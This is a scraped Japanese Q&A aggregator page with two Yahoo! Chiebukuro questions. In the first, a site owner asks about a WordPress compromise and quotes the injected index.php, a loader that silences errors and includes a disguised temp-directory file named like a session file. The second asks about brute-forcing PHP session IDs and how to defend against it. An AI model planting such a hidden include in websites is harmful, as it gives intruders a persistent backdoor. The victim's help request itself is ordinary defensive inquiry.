Wordpressの不正アクセスについて教えてください。index.phpと.htaccess... - Yahoo!知恵袋
Wordpressの不正アクセスについて教えてください。 index.phpと.htaccessが書き換えられていました。 上記index.phpはスクラッチで制作したもので、 ディレクトリ「blog」内にWPをインストールしてブログのみWPのサイトです。 書き換えられた後のindex.phpの中身は以下の通りです。 <?php error_reporting(0); ini_set("display_errors", 0); include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?> <?php mysql_close($conn);?> /SESS_48cd7517d21176f980daa5502d9efb31 で検索しますと、 どうやら不正アクセスに遭ったとみられる
phpにセッションというものがありますが、多くの利用者がいる、大量のセッションIDが発行されているサイトで、セッションIDに対し... - Yahoo!知恵袋
phpにセッションというものがありますが、多くの利用者がいる、大量のセッションIDが発行されているサイトで、セッションIDに対して総当たり攻撃を仕掛けた場合、その中の一つを割り出すより、 phpにセッションというものがありますが、多くの利用者がいる、大量のセッションIDが発行されているサイトで、セッションIDに対して総当たり攻撃を仕掛けた場合、その中の一つを割り出すより、 そのどれかなら楽にヒットさせることができそうに思うのですが、このような攻撃は成功し得るものでしょうか。 ネットを調べていたところ、セッションIDをアクセスの度に変える、というのがありましたが、どのIDでもいい、とした攻撃に対して無意味じゃないかと思うのですが・・・。 ただの素人の勘繰りですが対策があるなら是非教えて頂きたいです。。
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
